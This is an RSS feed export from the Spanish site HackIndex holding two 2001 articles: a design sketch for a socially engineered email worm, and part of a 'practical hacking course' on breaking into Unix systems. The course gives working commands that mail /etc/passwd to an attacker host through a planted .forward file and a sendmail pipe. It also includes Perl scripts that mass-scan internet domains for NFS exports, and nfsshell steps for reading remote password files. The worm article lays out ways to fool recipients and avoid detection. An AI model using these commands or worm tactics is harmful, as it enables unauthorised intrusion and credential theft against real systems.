<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.H.E. - HackIndex (es.comp.hackers) &#187; ingenieria social</title>
	<atom:link href="http://www.hackindex.com/index.php/tag/ingenieria-social/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hackindex.com</link>
	<description>Articulos y Noticias sobre Seguridad Informatica y Redes</description>
	<lastBuildDate>Sat, 29 May 2010 21:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Psicología de los mensajes de correo maligno I</title>
		<link>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:17:35 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[correos malignos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[ILoveYou]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[LifeStages]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[timofonica]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=258</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Psicología de los mensajes de correo maligno I Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Psicología de los mensajes de correo maligno I<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo&#8221;iloveyou&#8221; o  &#8220;timofónica&#8221;.</p>
<p>(*) De ahora en adelante los llamo MCM para abreviar.<br />
1 &#8211; INTRODUCCION</p>
<p>En este primer mensaje me centraré en el diseño &#8220;psicológico&#8221; de un posible MCM y una introducción a lo que serían las carácterísticas de diseño, en la segunda parte, se desarrollarían aquellas partes de codigo que considero interesantes, aunque eso sí, sin acabar nunca de desarrollar el MCM, de tal forma que el código enviado como ejemplo sólo pueda ser utilizado por personas con conocimientos suficientes para comenzarlo desde el principio y evite la transmisión de MCM por parte de &#8220;lamers&#8221; o gente que quiera usarlo de forma personalizada para realizar venganzas personales.</p>
<p>En la tercera parte, propondré posibles soluciones, algunas de ellas ya existen. El conocimiento es una de esas soluciones, la ignorancia es uno de los principales factores que intervienen en la propagación de MCM y virus en general.</p>
<p>De esta primera parte, considero muy util su divulgación, lectura e incluso debate, pues considero que es mejor adelantarse a lo que puede venir que ser pillado por sorpresa.<br />
2 &#8211; LOS MCM HASTA AHORA</p>
<p>Hasta ahora los MCM tenían características similares a la siguiente.</p>
<p>- Utilizaban un engaño basado en la ocultación de extensiones de ficheros, por ejemplo:</p>
<p>Un fichero con el nombre &#8220;pepe.txt.exe&#8221; se vería como &#8220;pepe.txt&#8221;</p>
<p>- Algunos de esos MCM, (los ejecutables con extensión exe), usaban un icono como el que usa el editor de Windows para reforzar el engaño.</p>
<p>-  Los más utilizados hasta ahora han sido los &#8220;.EXE&#8221; y los &#8220;.VBS&#8221; de tal forma que mucha gente evita como la peste esas extensiones y algunos desarrolladores, están empezando a usar otras extensiones. Como es el caso del LifeStages que utiliza una extensión .SHS</p>
<p>- Normalmente utilizan toda la ingeniería social que pueden, como es el caso del ILOVEYOU.</p>
<p>- Hasta ahora, se trataba de un único fichero, el que se enviaba.</p>
<p>- En algunos, tratan de evitar su desactivación, copiandose a muchos sitios diferentes, y alterar varias entradas del registro.</p>
<p>- En la mayoría de los casos, en el momento en el que llega a la cuenta de correo de un usuario experto, la existencia del MCM es descubierta en el entorno en el que se mueve ese usuario experto, y en algunas ocasiones, por las empresas desarrolladoras de antivirus.</p>
<p>- Excepto en algunos pocos casos, suelen utilizar el interfaz MAPI como mecanismo de envío de mensajes. Lo que hace que no pueda propagarse en aquellas máquinas de usuarios de otros lectores de correo.</p>
<p>- Normalmente, se envían a direcciones de la carpeta de direcciones, y de uno en uno.</p>
<p>3 &#8211; COMPORTAMIENTO DE LOS USUARIOS DE EMAIL.</p>
<p>Este apartado, está basado en cuanto a mi experiencia propia, viendo en muchas ocasiones qué tipo de correos se envían y reciben en los centros de trabajo donde disponen de correo electrónico, y de varias listas de correo informales y puede diferir con lo experimentado por otras personas.<br />
- En general, la mayoría de los usuarios saben que no deben abrir cualquier cosa que se les envíe, sobre todo de desconocidos.</p>
<p>- Es corriente, que formen grupos de amistades, y se envíen chistes, fotos, (pornográficas o humorísticas o salvajes), ficheros mpeg o avi con anuncios graciosos.</p>
<p>- Antes he comentado que los MCM solían tener un único fichero adjunto, (que yo sepa), y sin embargo, en los mensajes de correo que se suelen enviar entre amiguetes, es normal que haya 4 ficheros jpeg. o tres ficheros de texto repletos de chistes. o un par de zips, e incluso uno o dos mpeg, (o uno sólo si es muy grande).</p>
<p>- A veces, suelen enviar en mensaje de correo, dentro de otro mensaje de correo, (no recuerdo las cabeceras de los mensajes salvados del OutLook), pero suelen aparecer como un icono.</p>
<p>- Sigue siendo corriente que se sigan enviando ficheros ejecutables EXE, la mayoría de estos ficheros suelen contener animaciones hechas con aplicaciones del tipo Macromedia. (Un ejemplo de lo que digo es la película completa en dibujos animados de la guerra de las galaxias que está en noticias.com).</p>
<p>- Los &#8220;emails lúdicos&#8221;, generalmente, suelen tener varios destinatarios, y no uno sólo, como suele ser el caso de los MCM.<br />
4 .- CONSIDERACIONES DE INGENIERIA SOCIAL EN LA TRANSMISION DE UN MCM</p>
<p>Para que un MCM tenga éxito:</p>
<p>- Debe ser capaz de engañar al máximo posible al usuario que lo recibe, inspirandole la suficiente confianza para que pinche en el icono.</p>
<p>Por ese motivo, debe llegar de personas con las que normalmente se intercambia correo de tipo lúdico, no de trabajo. Por ejemplo, en el caso del &#8220;ILoveYou&#8221;, es difícil se engañado si llega de alguien con quien sólo tienes relaciones por correo de trabajo.</p>
<p>- Debe tratar de evitar en la medida de lo posible, el ser descubierto, y para ello, debe ser capaz de dar lo que se espera que dé.</p>
<p>Por ejemplo, en el MCM &#8220;timofónica&#8221; y en el &#8220;LifeStages&#8221;, el usuario espera que se abra el notepad con un mensaje de texto plano, y efectivamente es lo que hace.</p>
<p>- Algunos usuarios se dan cuenta enseguida de que han ejecutado un MCM cuando la bandeja de salida se les llena de mensajes. Quizás sería una buena táctica no ser tan agresivo a la hora de enviar mensajes, y enviar pocos y mejor encaminados.</p>
<p>- En lugar de usar la libreta de direcciones, podría mirar los mensajes que están en la carpeta de mensajes enviados.</p>
<p>- Podría incluso contestar a los mensajes que están en la bandeja de entrada.</p>
<p>- El MCM podría llegar acompañado de varios ficheros, y al reenviarse, hacerlo con esos ficheros.</p>
<p>- Combinaciones interesantes podrían ser:</p>
<p>Enviar dos ficheros de texto con chistes, y el tercero un vbs.txt que genera el tercer fichero de texto.<br />
Enviar tres o cuatro jpeg, y entre medias un gif.vbs.</p>
<p>(en algunos clientes los jpeg se visualizan sin siquiera abrirlos, sería sospechoso que un jpeg se viese y otro no, por eso lo cambiaría a otra extensión, por ejemplo gif o incluso html.<br />
Y ahora bien, la ingeniería social está en:</p>
<p>&#8220;Me llega un mensaje que es una contestación a otro que he enviado y con varias fotos, no hay alarma, a pinchar tranquilamente&#8221;<br />
5 &#8211; CONSIDERACIONES DE DISEÑO.</p>
<p>Si fuese lo suficientemente perverso como para crear un MCM entero, lo haría de esta manera:</p>
<p>- Lenguaje de programación: JavaScript, tiene las mismas capacidades que el VBS, pues al estar soportado por WSH, dispone de las mismas capacidades que el VBS, (Acceso al registro de Windows, utilización de Active X, manejo de ficheros, etc).</p>
<p>- Búsqueda y uso de  SMTP  para envío de mensajes de correo electrónico, usando para ello el OCX de manejo de sockets. En el caso de que no funcione ninguno de los SMTP de la lista, (malditos spammers), o no se encuentre el OCX adecuado usará el ya conocido interfaz MAPI.</p>
<p>- El MCM tendrá la forma .gif.js, al ser ejecutado, generará un gif de pequeño tamaño.</p>
<p>- Investigación del formato en el que guardan los mensajes de NetScape y busqueda en la estructura de ficheros, para recuperar direcciones.</p>
<p>- retardo de 24 horas en el envio de mensajes.</p>
<p>- Envío de SMS, usando un camino alternativo al usado por el MCM &#8220;timofónica&#8221;, utilizando un CGI o accediendo a una web, (Sólo si se encuentra el OCX de TCP/IP).</p>
<p>- PAYLOAD:  Llevar la cuenta de ejecuciones, cuando lleve 10, crear un fichero HTML en el disco duro y llamar al navegador por defecto para que lo abra, el HTML tiene un bucle sin fin que abre ventanas.<br />
En el artículo siguiente sólo trataré los módulos:</p>
<p>Envío de un mail por MAPI usando JavaScript.<br />
Envío de un mensaje por SMTP usando JavaScript.<br />
Detección de que una cuenta de correo existe, usando SMTP, este último punto no es necesario,<br />
pero lo veo interesante, incluso para ser utilizado como una utilidad separada.</p>
<p>Y quizás en otro mensaje aparte que no tiene nada que ver con este, y si nadie se me adelanta, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> , envío de SMS sin usar el servicio Mail2SMS de movistar.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) III</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:14:50 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[ataques dos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[defectos de configuracion]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[fallos de seguridad]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[ip spoofing]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mala configuracion]]></category>
		<category><![CDATA[tecnicas de acceso remoto]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[webs hostiles]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=236</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso práctico de hacking III Autor: Lecter Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking III<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8212;3a entrega</p>
<p>Estimados estudiantes del  CPH, en esta entrega nos  centraremos ya en<br />
las  artima=F1as para la  visitacion del  objetivo que  antes habiamos<br />
escudrinyado  (a partir  de ahora  usare la  ny para  denotar  la enye<br />
espanyola ya  que puede verse mal  en ciertos casos).  Tengo ahora que<br />
hacer un poco de &#8220;disclaiming&#8221;  (lavarme las manos) acerca del uso que<br />
pudiera darse a lo que os  contare en este capitulo y el siguiente. La<br />
visita que vamos a hacer no es  con permiso del due=F1o y por lo tanto<br />
se incurriria en un &#8220;allanamiento  de morada informatica&#8221; si se emplea<br />
por &#8220;el lado  oscuro de la fuerza&#8221;=2E Esta claro  que hemos de dominar<br />
los  sistemas y  aprovechar  sus fallos  de  seguridad para  comprobar<br />
nuestros conocimientos,  pero podemos hacerlo  de manera sana:  o bien<br />
autohacking  o bien  establecer un  acuerdo con  el  administrador del<br />
sistema  que &#8220;hackeemos&#8221;  para  comprobar su  seguridad. De  cualquier<br />
manera el conocimiento es una flor con  la que la abeja hace la miel y<br />
la ara=F1a su veneno.</p>
<p>Vamos  a  repasar  algunas  de  las tecnicas  mas  adecuadas  para  el<br />
principiante y  luego vosotros mediante  el estudio y la  practica las<br />
sobrepasareis e  incluso ideareis algunas nuevas. Tened  en cuenta que<br />
eso es  lo que diferencia a  un lamer de unhacker:  el lamer desbarata<br />
sistemas  con las  herramientas  que el  hacker  inventa. Alguna  vez,<br />
podreis  penetrar un  sistema utilizando  un exploit,  por  ejemplo, y<br />
conseguir una shell de root&#8230;y quizas os sentireis contentos de haber<br />
alcanzado  tal  privilegio,&#8230;  pero  =BFHabeis  escrito  vosotros  el<br />
exploit?&#8230;Luego   quizas  instalareis   un  sniffer   y   una  puerta<br />
trasera&#8230;=BFpero  habeis hecho vosotros  esas herramientas?  Lo ideal<br />
seria  que programarais  algunas de  las herramientas  que utilizarais<br />
luego  en  vuestras incursiones,  y  si no  es  asi,  leed e  intentad<br />
comprender el codigo que utilizais.</p>
<p>Pero bueno, vamos al grano.</p>
<p>Un  saludo  para  los que  estan  siguiendo  el  CPH aunque  en  pleno<br />
verano. Saludos  a los  que vuelven, como  mi amigo  NBK que ya  lo he<br />
visto por  las news, y  a tantos otros.  Para los que se  han marchado<br />
como Crino,  Avalanche, etc&#8230;si  no encuentran algun  capitulo porque<br />
haya  expirado, etc,  al  final  voy a  intentar  ensamblar todos  los<br />
capitulos   en  un   solo  documento   comprimido  y   lo   dejare  en<br />
es.binarios.misc, para no consumir ancho de banda.</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA</p>
<p>En este capitulo consideraremos tecnicas de acceso remoto (a traves de<br />
la red)  y en el siguiente  estudiaremos el acceso  local, que tambien<br />
recibe el nombre  de &#8220;ataque con escalada de  privilegios&#8221;. Existe una<br />
progresion cuando  el atacante se  introduce de manera remota  y luego<br />
consigue el acceso a la shell local. Habra que alcanzar privilegios de<br />
root y mantenerlos, asi como  actuar sobre el sistema para adecuarlo a<br />
futuras visitas o a otros propositos.</p>
<p>Existen varios metodos fundamentales para introducirnos remotamente en<br />
un sistema unix:</p>
<p>(1) Fallos  de  seguridad  de  aplicaciones basadas  en  el  protocolo<br />
TCP/IP.</p>
<p>(2) Defectos de  configuracion en los servicios  de red NFS,  NIS y en<br />
formularios web.</p>
<p>(3) Mala configuracion en los  archivos hosts.equiv y .rhosts y empleo<br />
de los llamados &#8220;comandos *r de unix&#8221;.</p>
<p>(4) Exploits para ciertos procesos que  se basan en bugs de los mismos<br />
o  en ataques para  desbordar la  pila del  proceso y  ejecutar codigo<br />
arbitrario  que permiten  conseguir  una shell,  una  rootshell si  el<br />
proceso corresponde a un programa que tiene el bit setuid activado.</p>
<p>(5) Tecnicas oscuras: Ataques  DoS, IP Spoofing, hijacking, ingenieria<br />
social, web  hostiles&#8230;Estas tecnicas no  deberian usarse mas  que en<br />
situaciones  muy  criticas.  He  pensado dedicar  un  capitulo  final,<br />
despues del  de borrar las huellas para  incluir estos procedimientos,<br />
quiza con el titulo de &#8220;la mitad oscura&#8221;.</p>
<p>Podemos emplearlas  de dos modos  diferentes para introducirnos  en el<br />
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o<br />
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.</p>
<p>3.1. Fallos de seguridad en aplicaciones TCP/IP</p>
<p>3.1.1 TFTP (Trivial File Transfer Protocol)</p>
<p>Se trata  de una  transferencia de archivos  por udp. Se  utiliza para<br />
arrancar estaciones de trabajo o routers y esta basado como ya dije en<br />
udp escuchando  por el  puerto 69  ;-P. Si el  servidor TFTP  esta mal<br />
configurado, podemos conseguir el  fichero /etc/passwd. En las ultimas<br />
versiones quedan  configurados de manera  predeterminada para prohibir<br />
el  acceso a  cualquier  directorio excepto  /tftpboot.  Pero en  este<br />
directorio  existe informacion  comprometedora sobre  los  archivos de<br />
configuracion      de     los      routers      (generalmente     como<br />
&lt;nombrehostdelrouter&gt;.cfg)  y  los   intrusos  pueden  acceder  a  las<br />
contrase=F1as  de los  routers y  a las  cadenas SNMP  (Simple Network<br />
Management Protocol), con lo cual comprometeremos redes completas.</p>
<p>3.1.2 FTP</p>
<p>Muchos  servidores  mal configurados  permiten  tener acceso  anonimo,<br />
permitiendo  iniciar  una  sesion  sin necesidad  de  autenticacion  y<br />
pudiendo   acceder   a  toda   la   estructura   de  directorios   del<br />
sistema&#8230;Pero esto  son habas  contadas y muy  peregrino debe  ser el<br />
root para meter la pata de  ese modo.  Algunas veces me han hablado de<br />
servidores  FTP  que disponian  de  directorios  donde podia  escribir<br />
cualquiera,  con lo  cual  los atacantes  podrian  colocar un  fichero<br />
.rhosts (como  ya veremos) en el  directorio /home de  algun usuario y<br />
luego hacer un rlogin  sin autenticacion. Habia una estratagema basada<br />
en esto que permitia conseguir  el fichero /etc/passwd de modo curioso<br />
y sin magno artificio: Un  archivo .forward en el directorio /home/ de<br />
un usuario  dirige el correo a  una cuenta diferente  o ejecuta alguna<br />
instruccion  cuando  llega correo.  De  este  modo,  si escribimos  un<br />
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de<br />
este modo:</p>
<p>$&gt;echo &#8220;/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221; &gt; lecter_forward</p>
<p>Luego nos conectamos por ftp al objetivo</p>
<p>$&gt;ftp objetivo.net</p>
<p>Si fuera posible escribir en /home/ftp/ podriamos hacer</p>
<p>ftp&gt;put lecter_forward .forward<br />
ftp&gt;quit</p>
<p>y luego mandamos un correo al &#8220;usuario ftp&#8221;</p>
<p>$&gt;echo hello chump | mail <a href="mailto:ftp@objetivo.net">ftp@objetivo.net</a></p>
<p>Cuando llegue  el correo se  ejecutara la instruccion contenida  en el<br />
fichero  .forward  y recibiremos  por  correo  el fichero  /etc/passwd<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8230;Pero   a  mi   nunca  me   ha  funcionado.    Aparte   de  estas<br />
vulnerabilidades existen otras debidas a condiciones de desbordamiento<br />
del buffer  en versiones anteriores de  wu-ftp 2.4.2, pero  esto ya lo<br />
veremos en el epigrafe de los exploits.</p>
<p>3.1.3 SMTP</p>
<p>Aunque hay  otros mas seguros como  smail y qmail, sendmail  es el MTA<br />
(Mail Transfer  Agent) mas usado en  el mundo unix. Si  sendmail no se<br />
configura  adecuadamente,  puede  presentar  problemas  de  seguridad,<br />
ademas  de  los inherentes  a  fallos  y  vulnerabilidades del  propio<br />
programa. Una frase corriente hasta  hace poco tiempo (la seguridad de<br />
sendmail ha mejorado  bastante en los ultimos anyos)  era &#8220;Wellcome to<br />
the sendmail bug of the week!&#8221;.</p>
<p>Un ataque  con solera  (para la  version sendmail 4.1)  se baso  en la<br />
vulnerabilidad de la &#8220;sendmail  pipe&#8221;, que permitia al intrusoejecutar<br />
instrucciones mediante  sendmail con privilegios de  bin. En versiones<br />
anteriores a  sendmail 5.57 podiamos enviarnos  el fichero /etc/passwd<br />
simplemente haciendo:</p>
<p>$&gt;telnet objetivo.net 25<br />
=2E..<br />
helo<br />
=2E..<br />
mail from: &#8220;|/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221;<br />
rcpt to: johnsilver<br />
data<br />
=2E<br />
quit</p>
<p>Pero para  aprovechar los fallos de  sendmail es mejor  recurrir a los<br />
exploits como se vera en el correspondiente epigrafe.</p>
<p>3.2 Defectos de configuracion de servicios de red</p>
<p>3.2.1 NFS</p>
<p>Ya sabemos que  si el servicio nfs esta  mal configurado podemos hacer<br />
algunas  cosillas <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Si hacemos  un rpcinfo  -p objetivo.net  y nos<br />
encontramos  con   algunas  lineas  en  cuyos   puertos  escuchan  los<br />
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net<br />
los directorios exportados.</p>
<p>En  caso de  que no  tuvieramos  un objetivo  concreto podemos  buscar<br />
maquinas con ficheros exportables mediante el script perl getdomain.pl<br />
de Invisible Evil, que muestro a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/begin getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
#!/usr/bin/perl</p>
<p># GetDomain By Nfin8 / Invisible Evil<br />
# Questions /msg i-e  or  /msg i^e<br />
#<br />
# Retrieve command line arguments.<br />
my($inputfile, $domain) =3D @ARGV;<br />
usage() if (!defined($inputfile) || !defined($domain));</p>
<p># Open and preprocess the input file.<br />
open(INFILE, &#8220;&lt;$inputfile&#8221;) or die(&#8220;Cannot open file $inputfile for reading!\n&#8221;);<br />
my(@lines) =3D &lt;INFILE&gt;;</p>
<p># Initialize main data structure.<br />
my(%hash) =3D {};<br />
my($key) =3D &#8220;&#8221;;</p>
<p>foreach (@lines) {<br />
$key =3D (split(/\ /))[0];<br />
chop($key);<br />
next if ((($key =3D~ tr/.//) &lt; 1) ||<br />
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||<br />
($key =3D~ m/root-server/i));<br />
$hash{$key}++;<br />
}</p>
<p># Close input file and output data structure to STDOUT.<br />
close(INFILE);</p>
<p>foreach (sort(keys(%hash))) {<br />
print &#8220;$_\n&#8221;;<br />
}</p>
<p>sub usage {<br />
print(&#8220;\n\ngetdomain:\n&#8221;);<br />
print(&#8220;Usage: getdomain [inputfile] [search]\n\n&#8221;);<br />
print(&#8220;Where [search] is one of \&#8217;com\&#8217;, \&#8217;edu\&#8217;, \&#8217;gov\&#8217;, \&#8217;mil\&#8217; or \&#8217;net\&#8217;.\n\n&#8221;);<br />
exit(0);<br />
}<br />
�<br />
0;<br />
�<br />
&#8212;&#8212;&#8212;-/end of getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para utilizarlo habeis de disponer de listas de maquinas que se pueden<br />
obtener facilmente por ftp de rs.internic.net con las extensiones:</p>
<p>com.zone.gz<br />
edu.zone.gz<br />
gov.zone.gz<br />
mil.zone.gz<br />
net.zone.gz<br />
org.zone.gz</p>
<p>Despues de descomprimirlas con gunzip ejecutamos el script asi:</p>
<p>$&gt;perl getdomain.pl com.zone com &gt; com.all</p>
<p>y lo mismo con las otras zonas&#8230;</p>
<p>Luego  hay  que  usar  otro  script llamado  cmount.pl  para  ver  los<br />
directorios exportados. Aqui lo teneis</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cmount.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#/usr/bin/perl -w<br />
#<br />
# Check NFS exports of hosts listed in file.<br />
# (Hosts are listed, once per line with no additional whitespaces.)<br />
#<br />
# <a href="mailto:ii@dormroom.pyro.net">ii@dormroom.pyro.net</a> &#8211; 2/27/97.</p>
<p># Assign null list to @URLs which will be added to later.<br />
my(@result) =3D ();<br />
my(@domains) =3D ();<br />
my($program) =3D &#8220;showmount -e &#8220;;</p>
<p># Pull off filename from commandline. If it isn&#8217;t defined, then assign default.<br />
my($DomainFilename) =3D shift;<br />
$DomainFilename =3D &#8220;domains&#8221; if !defined($DomainFilename);</p>
<p># Do checking on input.<br />
die(&#8220;mountDomains: $DomainFilename is a directory.\n&#8221;) if (-d<br />
$DomainFilename);<br />
�<br />
# Open $DomainFilename.<br />
open(DOMAINFILE, $DomainFilename) or<br />
die(&#8220;mountDomains: Cannot open $DomainFilename for input.\n&#8221;);<br />
�<br />
while (&lt;DOMAINFILE&gt;) {<br />
chomp($_);<br />
print &#8220;Now checking: $_&#8221;;</p>
<p># Note difference in program output capture from &#8220;geturl.pl&#8221;.�<br />
open (EXECFILE, &#8220;$program $_ |&#8221;);<br />
@execResult =3D &lt;EXECFILE&gt;;<br />
next if (!defined($execResult[0]));<br />
if ($execResult[0] =3D~ /^Export/) {<br />
print &#8221; &#8211; Export list saved.&#8221;;<br />
open (OUTFILE, &#8220;&gt;$_.export&#8221;);<br />
foreach (@execResult) {<br />
print OUTFILE;<br />
}<br />
close (OUTFILE);<br />
}<br />
close(EXECFILE);<br />
print &#8220;\n&#8221;;<br />
}<br />
�<br />
# We are done. Close all files and end the program.<br />
close (DOMAINFILE);</p>
<p>0;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; end of cmount.pl<br />
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.</p>
<p>#&gt;showmount -e objetivo.net<br />
/    (everyone)<br />
/usr (everyone)</p>
<p>=A1Magn=EDfico! (Pero  no caera  esa breva) porque  podriamos comenzar<br />
mountando</p>
<p>#&gt;mount -nt nfs objetivo.net:/ /mnt</p>
<p>Pero  existe una  excelente herramienta  llamada nfsshell  escrita por<br />
Leendert van Door que podreis encontrar en</p>
<p><a href="ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz">ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz</a></p>
<p>que nos proporciona  un cliente robusto llamado nfs  que funciona como<br />
cliente  ftp  y  permite  manipular facilmente  cuakquier  sistema  de<br />
archivos remotos. Una vez instalado, haced en un xterm</p>
<p>#&gt;nfs</p>
<p>y  aparecera  el  prompt  nfs&gt;.   Si  haceis  help  vereis  todas  las<br />
posibilidades=2E Bueno, al grano:</p>
<p>nfs&gt;host objetivo.net (indica el host que queremos montar)</p>
<p>Luego miramos los archivos exportados</p>
<p>nfs&gt;export<br />
/     everyone<br />
/usr  everyone</p>
<p>Ahora tenemos que montar / para acceder al sistema de archivos con</p>
<p>nfs&gt; mount /</p>
<p>Podemos ver el status de la conexion y el UID usado cuando se monto el<br />
archivo con</p>
<p>nfs&gt;status<br />
=2E..</p>
<p>Como  ya tenemos  el  sistema  de archivos  montado  posemos mirar  el<br />
contenido de /etc/passwd:</p>
<p>nfs&gt;cd /etc</p>
<p>nfs&gt; cat passwd<br />
=2E..</p>
<p>El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,<br />
pero  generalmente estaran &#8220;sombreados&#8221;  (shadowed passwords)  con una<br />
&#8220;x&#8221;  (generalmente)   en  el  segundo  campo  de   cada  registro.  No<br />
